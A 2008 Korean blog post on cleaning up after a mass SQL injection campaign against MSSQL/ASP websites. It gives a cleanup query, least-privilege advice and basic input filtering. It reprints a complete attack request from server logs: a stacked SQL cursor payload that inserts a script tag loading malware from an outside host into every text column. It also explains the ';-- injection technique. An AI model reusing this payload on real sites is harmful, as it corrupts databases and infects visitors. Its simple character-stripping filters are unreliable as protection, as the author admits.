세이박스

DB injection script 스크립트 공격 복구 및 보안2

데이타베이스
앞전에 올린 DB인젝션 공격에 대해 구체적으로 보안 방법 올려봅니다.

아마도 관리자님의 홈페이지의 타이틀이나 소스 내용에
<script src=http://s.ardoshanghai.com/s.js></script>
이와 유사한 스크립트 들이 엉청나게 삽입된 경우 엉청난감해 하고 계실겁니다.

그래서 위 스크립트를 만약 구글에서 검색해 보셨다면
사용자 삽입 이미지

처럼 어마어마한 사이트들이 공격 받은걸 확인 하실 수 있을겁니다.
저역시 관련 내용을 찾아보니 우연히 발견했는데 SK도 공격 받은적이 있었더군요. 후들들...
최근 제가 자주 접속하던 잡코리아도 불가 몇일전 공격을 받았더군요.

기사를 보시면 "국내 웹사이트 88% "그냥 뚫린다" 라고 할정도 입니다.
기사참조 : http://www.moneytoday.co.kr/view/mtview.php?type=1&no=2008082610012270246&outlink=1

왜 이렇게 많은 사이트들이 공격을 받았을까 이유가 뭘까 매우 궁금하시겠죠.
최근 무작위로 들어오는 공격은 대부분 중국애들의 장난으로 보입니다.
그리고, 홈페이지 웹소스의 취약점을 이용해 DB명령어를 포함해서 접속후 DB를 점령하는 무시무시한 공격이죠.
그런데 이런 공격으로 무엇을 얻을까요?
궁금해서 저 스크립트 분석해봤습니다.
스크립트가 다시 스크립트를 부르고 다시 iframe을 부르고 무지 깊숙히 들어가더군요
그리고 최종적으로 하는건 접속자에게 악성코드를 설치할려고 시도 하더군요.
소스를 보면 정말 놀랍습니다.
만약 여러분이 접속한 사이트가 네이버라고 가정합시다.
분명 네이버를 신뢰 하고 있는 가운데 브라우저 탑부분에 노란줄이 생기며 뭔가를 설치하라고 합니다.
이때 대부분의 접속자들은 아무 생각없이 그냥 설치 해버립니다...OTL 헉....
그러니 지금 글을 보고 계신 홈페이지 운영자님의 사이트를 신뢰하고 오는 접속자들이 지금 얼마나 많은 악성코드가 깔리고 있는지 느낌이 오시는지요 ㅡㅡ;

이유야 어찌 되었는 우리는 복구하고 앞으로 이런 일이 안생기도록 보안해야겠죠!
예전에 작성한 글은 설명이 부족해 다시 이렇게 글을 적어 봅니다.

DB 복구 부터 다시 설명 해드리겠습니다.
가장 좋은 방법은 백업해둔 DB를 복구하는것이겠지만 현재 운영중이면서 지속적으로 데이터가 들어오고 있다면 해당 스크립트만 모든 테이블을 찾아서 제거 해주는 게 좋겠죠.

먼저 공격으로 인해 생긴 불필요한 테이블들이 생겼을겁니다. 저희 경우엔 아래와 같은 테이블이 추가로 생겼더군요 이외에도 잘찾아 보시고 추가로 생성된것이 있으면 삭제 하셔야합니다.

1. 공격으로 생긴 DB table 삭제
comd_list 테이블 삭제
ahcmd 테이블 삭제
foofoofoo 테이블 삭제
Reg_Arrt 테이블 삭제
comd_list 테이블 삭제
D99_CMD 테이블 삭제
D99_TMP 테이블 삭제
Kill_kk 테이블 삭제
jiaozhu 테이블 삭제

2. 삽입 스크립트 제거 복구
MSSQL 에서 다음 쿼리를 실행하시면 됩니다.
실행전 아래 스크립트 <script src=http://s.ardoshanghai.com/s.js></script> 이부분은  공격받은 스크립트를 입력하셔야합니다.
그리고, 해당 스크립트를 어떤곳은 여러개 삽인한 곳도 있을겁니다.
그런 경우 아래 쿼리를 여러차례 돌려주셔야합니다.

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
            convert(varchar(8000), ['+@C+']),
            len(convert(varchar(8000), ['+@C+'])) - 6 -
            patindex(''%tpircs<%'',
                      reverse(convert(varchar(8000), ['+@C+'])))
            )
      where ['+@C+'] like ''%<script src=http://s.ardoshanghai.com/s.js></script>'''
      );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

3. DB 접속 권한 보완
이러한 장애가 발생한 건 접속자에게 select 권환 이외에도 모든 권한을 부여하게 되는 설정이 가장 큰 문제 입니다.
특히, 제기억으로 초기 ASP책을 보면 DB접속하는 설명이 sa개정으로 되어있는 책이 있었던걸로 기억합니다. 요즘은 그런 책이 없기를 바라지만 어떤 개발자는 sa로 설정하면 잘만든것으로 착각하는 분이 계시더군요.
그런경우라면 아마도 위 스크립트 삽입 정도가 아니라 DB 전체가 삭제된 결과를 접하셨을겁니다.
지금이라도 sa 개정을 사용하고 계시다면 빨리 개정 추가하셔서 최소 권한만 제공 하세요!
그리고, 대부분 사이트가 개정을 추가로 하나만 만들어 운영합니다. 하지만, 단순히 보여주기만 하는 페이지에는 select 권한만 제공한 개정으로 연결해서 보여주는게 좋습니다.
결론적으로 개정을 여러개 두시구 select 권환만 있는 개정 또는 쓰기,수정 권환만 있는개정을 별도로 사용하세요!

4. ASP 웹소스 보완
이러한 공격의 주원인 개발자의 부주의로 생긴 원인일 수도 있습니다. 하지만, 개발일정에 쫓겨 생략하는 경우가 많습니다.
예를 들어보겠습니다.
실제 데이타는 데부분 Post로 넘기겠지만 설명을 위해 Get으로 설명합니다.
로그인 처리 페이지에서 다음과 같이 값을 받는 경우

http://도메인/login.asp?id=abc&pw=1234

공격받은 사이트인경우 다음과 같이 코딩 하셨을겁니다.

id =  = Request.ServerVariables("id")
pw =  = Request.ServerVariables("pw")

sql = "select * from table where id='"& id & & "' and pw = '"& pw &"'"

자, 이런견우 실제 DB에서 처리될경우
select * from table where id='abcd' and pw = '1234'
처럼 정상 처리 될 것입니다.

IIS 로그를 찾아 보세요!
저희가 공격 받은 로그를 참조 하겠습니다.
로그에서 '; 를 검색해보면 바로 찾아 질겁니다.

2008-11-07 06:04:52 58.102.105.* - 웹서버IP 80 GET /include/left_goods_sub.asp big=2&middle=13&small=7 200 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+6.0;+SLCC1;+.NET+CLR+2.0.50727;+Media+Center+PC+5.0;+.NET+CLR+3.0.04506;+InfoPath.2;+.NET+CLR+1.1.4322)

보통은 위처럼 평범하게 값을 붙여 접속합니다.
하지만 공격용 접속URL은 보는 순간 놀래버리죠 ㅡㅜ;
대부분 개발자들이 내가 만든 소스는 안전하겠지라는 생각들을 많이 하고 있죠.
하지만 이런 공격 받고 나면 소름이 좌악...ㅡㅡ

2008-10-03 00:01:49 218.209.177.80 - 웹서버IP 80 GET /goods/submain.asp big=8&middle=2&flag=4&listrow=40;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20wHiLe(@@fEtCh_status=0)%20bEgIn%20eXeC('uPdAtE%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rTrIm(cOnVeRt(vArChAr(4000),['%2b@c%2b']))%2bcAsT(0x3C736372697074207372633D687474703A2F2F732E6172646F7368616E676861692E636F6D2F732E6A733E3C2F7363726970743E%20aS%20vArChAr(53))')%20fEtCh%20next%20FrOm%20tAbLe_CuRsoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 200 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0)

218.209.177.80 이 IP는 당연 공격자 아이피입니다.
어떤분은 방화벽으로 이아이피 막으면 안되냐고 하시겠지만 저희 경우 당연 막아봤죠
하지만 1시간 주기로 IP를 바꿔 공격하더군요 ㅡㅡ;
그리고 바보아닌 다음에게 나 잡아가라 하고 자신의 IP를 그대로 사용하진 않겠죠 ㅋㅋ
프락시 접속인경우도 실제 아이피 잡아낼 수 있습니다.
세이박스 자료 찾아보세용
하지만 이것도 무용지물 ㅋㅋ
뭐어쨌던 위 접속을 잘 보시면 '; 검색 해보라고 한 이유가 있습니다.
다시 로그인을 예로 들어 설명하겠습니다.

만약 위 공격 로그처럼 뒤에 '; 를 붙여 보겠습니다.
http://도메인/login.asp?id=abc&pw=1234';DB명령--

자, 이런견우 실제 DB에서 처리될경우
select * from table where id='abcd' and pw = '1234';DB명령--'
처럼 정상 처리 될 것입니다.

두개의 DB명령이 되는군요.
select * from table where id='abcd' and pw = '1234';
DB명령
--'
이렇게 처리가 되겠네요. -- 표시는 주석처리 로써 이후 내용을 무시해버립니다.
즉, ' 홀따옴표는 없는게 됩니다.
DB명령을 무었을 넣느냐에 따라 결과는 끔찍하겠죠.
그래도 공격자들의 조금은 양심이 있는지 스크립트 삽입에 그친걸 다행으로 생각하셔야 합니다.
사실 SQL injection 공격이 오늘내일 이야기가 아닙니다.
초기에는 지금보다 더 심각한 공격을 했었던걸로 압니다.
DB 내용을 아예 제거 해버리거나 내용을 모두 변경 해버리곤 했었죠.

어쨌던 위와 같이 ; 이 문자로 인해 생겨진 문제이므로 최소한 해당 문자가 삽입되었는지 DB쿼리 실행전 확인만 해도 상당히 보안되리라 봅니다.
예제 소스를 만들어 보겠습니다.

1) 특수문자 변환 해버리기
<%
pw = replace(";","",pw)
pw = replace("'","",pw)
%>
이외에도 DB에서 사용하는 특수문자를 제거 해주는게 좋겠죠.
하지만 이방식은 별로 권하지 않고 싶네요.
아예 분순한 접근은 막아야겠죠!

2) 특수문자 삽입시 막아버리기
<%
pw = Request.ServerVariables("pw")
if instr(pw,";") > 0 or instr(pw,"'") > 0 then
 response.end
end if
%>

솔직히 위 방법또한 완벽한 보안은 아닙니다.
항상 공격자의 경우 취약점을 찾기 마련입니다. 일단 위와 같이 DB를 이용하는 페이지는 모두 보안을 하셔서 공격을 최소화 하시기 바랍니다.

위 글은 세이박스에서 작성한 글입니다.
출처를 적어 주시고 많은 국내 사이트들이 공격을 받고 있으니 도움이 되기 위해 많이 많이 올려주세요! ^^
출처 : 세이박스  http://saybox.tistory.com/546